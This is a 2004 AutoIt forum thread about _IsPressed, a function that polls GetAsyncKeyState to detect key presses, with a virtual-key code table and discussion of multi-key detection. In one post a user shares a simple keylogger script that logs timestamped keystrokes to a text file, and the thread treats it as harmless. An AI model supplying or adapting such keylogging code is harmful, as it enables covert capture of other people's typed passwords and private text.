_IsPressed func

ezzetabi · October 30, 2004

...something like hotkeyset but with less limitations! And it should not 'steal' the key from other apps.

This Func is, of course, based on the Larry idea of GetAsyncKeyState, so I thank him.

In the #cs #ce section there is a list of some of 255 values that $hexKey can have.

You can safely remove it if not needed.

;In this little example pressing n will pop up a message
;pressing Esc will leave.
While 1
   If _IsPressed('1b') = 1 Then Exit;1b is ESC
   If _IsPressed('4e') = 1 Then MsgBox(0, '', 'Wow');4e is the N
   Sleep(10)
Wend

Exit
Func _IsPressed($hexKey)
  ; $hexKey must be the value of one of the keys.
  ; _IsPressed will return 0 if the key is not pressed, 1 if it is.
  ; $hexKey should entered as a string, don't forget the quotes!
  ; (yeah, layer. This is for you)
   
   Local $aR, $bO
   
   $hexKey = '0x' & $hexKey
   $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)
   If Not @error And BitAND($aR[0], 0x8000) = 0x8000 Then
      $bO = 1
   Else
      $bO = 0
   EndIf
   
   Return $bO
EndFunc  ;==>_IsPressed

#cs
   01 Left mouse button
   02 Right mouse button
   04 Middle mouse button (three-button mouse)
   05 Windows 2000/XP: X1 mouse button
   06 Windows 2000/XP: X2 mouse button
   08 BACKSPACE key
   09 TAB key
   0C CLEAR key
   0D ENTER key
   10 SHIFT key
   11 CTRL key
   12 ALT key
   13 PAUSE key
   14 CAPS LOCK key
   1B ESC key
   20 SPACEBAR
   21 PAGE UP key
   22 PAGE DOWN key
   23 END key
   24 HOME key
   25 LEFT ARROW key
   26 UP ARROW key
   27 RIGHT ARROW key
   28 DOWN ARROW key
   29 SELECT key
   2A PRINT key
   2B EXECUTE key
   2C PRINT SCREEN key
   2D INS key
   2E DEL key
   30 0 key
   31 1 key
   32 2 key
   33 3 key
   34 4 key
   35 5 key
   36 6 key
   37 7 key
   38 8 key
   39 9 key
   41 A key
   42 B key
   43 C key
   44 D key
   45 E key
   46 F key
   47 G key
   48 H key
   49 I key
   4A J key
   4B K key
   4C L key
   4D M key
   4E N key
   4F O key
   50 P key
   51 Q key
   52 R key
   53 S key
   54 T key
   55 U key
   56 V key
   57 W key
   58 X key
   59 Y key
   5A Z key
   5B Left Windows key
   5C Right Windows key
   60 Numeric keypad 0 key
   61 Numeric keypad 1 key
   62 Numeric keypad 2 key
   63 Numeric keypad 3 key
   64 Numeric keypad 4 key
   65 Numeric keypad 5 key
   66 Numeric keypad 6 key
   67 Numeric keypad 7 key
   68 Numeric keypad 8 key
   69 Numeric keypad 9 key
   6A Multiply key
   6B Add key
   6C Separator key
   6D Subtract key
   6E Decimal key
   6F Divide key
   70 F1 key
   71 F2 key
   72 F3 key
   73 F4 key
   74 F5 key
   75 F6 key
   76 F7 key
   77 F8 key
   78 F9 key
   79 F10 key
   7A F11 key
   7B F12 key
   7C-7F F13 key - F16 key
   80H-87H F17 key - F24 key
   90 NUM LOCK key
   91 SCROLL LOCK key
   A0 Left SHIFT key
   A1 Right SHIFT key
   A2 Left CONTROL key
   A3 Right CONTROL key
   A4 Left MENU key
   A5 Right MENU key
#ce

Enjoy.

Edited June 13, 2005 by ezzetabi

gosu · October 30, 2004

wonderful! thanks! i finally made a keylogger

ezzetabi · October 30, 2004

I am always happy to help.

friends · October 31, 2004

wow... that is great ! May be I can use it in future...

I just loved it !

layer · November 10, 2004

How the heck did you make a keylogger with this?

November 10, 2004

You can hotkey the keys to write themselves to an ini file for starters. The most primitive keylogger ever!!! (Usually you can't do this because AutoIt won't let you assign hotkeys to a normal key like a-z.)

gosu · November 10, 2004

How the heck did you make a keylogger with this?
<{POST_SNAPBACK}>

it´s very easy.

$file = FileOpen("keylog.txt", 1)
If $file = -1 Then
    Exit
EndIf

While 1
  ;for the a
   If _IsPressed(41) Then
      _LogKeyPress("a")
   EndIf
  ; repeat that for every key...

   Sleep(50); You may need to change that value (depending on your computer´s speed)
WEnd
Func _LogKeyPress($what2log)
   FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "Pressed Button: " & $what2log)
EndFunc

FileClose($file)

Just a pretty much work, but it´s working perfectly.

Klaatu · November 10, 2004

Could something like this function be used to write the equivalent of AutoScriptWriter in AutoIt itself?

Edited November 10, 2004 by Klaatu

layer · November 10, 2004

How come 4e or some of the other "4x" statements don't work, while the rest of them do?

killaz219 · November 13, 2004

This is awsome! ive been looking for one of these for a while. Thanks ezzetabi!

ezzetabi · November 13, 2004

Updated with Larry's advice.

konan · November 15, 2004

AutoScriptWriter use another dll file (ASWHook.dll)

Klaatu · November 18, 2004

Would something like this be feasable?

Func Pressed()
   Local $KEYS, $I, $RESULT[255], $RI
   
   $KEYS = StringSplit("01,02,04,05,06,08,09,0C,_
0D,10,11,12,13,14,1B,20,21,22,23,24,25,26,27,28,_
29,2A,2B,2C,2D,2E,30,31,32,33,34,35,36,37,38,39,_
41,42,43,44,45,46,47,48,49,4A,4B,4C,4D,4E,4F,50,_
51,52,53,54,55,56,57,58,59,5A,5B,5C,60,61,62,63,_
64,65,66,67,68,69,6A,6B,6C,6D,6E,6F,70,71,72,73,_
74,75,76,77,78,79,7A,7B,7C,7D,7E,7F,80,81,82,83,_
84,85,86,87,90,91,A0,A1,A2,A3,A4,A5", ",")
   $RI = 1
   For $I = 1 To $KEYS[0]
      If _IsPressed ($KEYS[$I]) Then
         $RESULT[$RI] = $KEYS[$I]
         $RI = $RI + 1
      EndIf
   Next
   $RESULT[0] = $RI - 1
   ReDim $RESULT[$RI]
   Return $RESULT
EndFunc ;==>Pressed

Edited December 9, 2004 by Klaatu

this-is-me · November 18, 2004

Klaatu Barada Nikto... (The day the earth stood still)

Just wondering, are you submitting this because it allows a person to find out if multiple keys are pressed?

Klaatu · November 19, 2004

Kind of. The function should return an array of all the keys currently pressed, but without a type of callback facility I could see where it would be difficult if not impossible to write an AutoScriptWriter type utility in pure AutoIt. I'm just throwing out some ideas to try to see what would actually work in this type of program, becuase I want to be able to write (or at least modify) such a program. I am comfortable (for the most part) writing AutoIt code; I do not see myself being able to use C or C++ to do it.

ezzetabi · November 19, 2004

I prefere, it is stupid using a so large array since Redim exists.

(BTW, even if all values where ON, only 255 keys could be pressed)

Also StringSplit can split using a single char, so you have to remove the blanks.

Edit: it seems that Tidy have a bug. It moves the words inside string if it meets a comma. I change the separing char to a pipe.

ToolTip('Press all keys you want...')
Sleep(3000)

$a = _Pressed()
$msg = ''
For $c = 1 To $a[0]
   $msg = $msg & $a[$c] & @LF
Next
MsgBox(4096, 'You pressed: ', $msg)

Func _Pressed()
   Local $Keys, $i, $Result[1], $ri
   
   $Keys = StringSplit("01|02|04|05|06|08|09|0C|"&_
         "0D|10|11|12|13|14|1B|20|21|22|23|24|25|26|27|28|"&_
         "29|2A|2B|2C|2D|2E|30|31|32|33|34|35|36|37|38|39|"&_
         "41|42|43|44|45|46|47|48|49|4A|4B|4C|4D|4E|4F|50|"&_
         "51|52|53|54|55|56|57|58|59|5A|5B|5C|60|61|62|63|"&_
         "64|65|66|67|68|69|6A|6B|6C|6D|6E|6F|70|71|72|73|"&_
         "74|75|76|77|78|79|7A|7B|7C|7D|7E|7F|80|81|82|83|"&_
         "84|85|86|87|90|91|A0|A1|A2|A3|A4|A5","|")
   
   For $i = 1 To $Keys[0]
      If _IsPressed($Keys[$i]) Then
         _Enlarge($Result)
         $Result[$Result[0]] = $Keys[$i]
         Sleep(1)
      EndIf
   Next
   
   Return $Result
EndFunc  ;==>_Pressed

Func _Enlarge(ByRef $Array)
   $Array[0] = UBound($Array)
   ReDim $Array[UBound($Array) + 1]
EndFunc  ;==>_Enlarge

Edited November 19, 2004 by ezzetabi

Klaatu · November 19, 2004

I am hurt, calling my way "stupid".

While 1000 might be unecessarily large, you also have to look at execution time. Which is faster: rediming an array to add each element, or rediming at the very end to make it the right size? I don't know the answer to that, and I suspect neither do you. With something that captures key presses execution time is very critical, which is why this whole subdiscussion is more academic than practical, as a utility written in AutoIt would most likely be prone to missing key presses than one written in C or something where you can actually have a callback facility, hooking right into the keyboard driver (or whatever it is they hook into).

Anyway, both ways work. One uses slightly more memory, and (I suspect) one is slightly slower, especially as the number of keys pressed at once increases.

ezzetabi · November 19, 2004

Never said you are stupid. Not even thought.

ioliver · December 2, 2004

ezzetabi,

Thanks for _IsPressed. I'm trying to use it in a script right now.

Thanks again,

Ian

ezzetabi · December 2, 2004

You are welcome.

_IsPressed func

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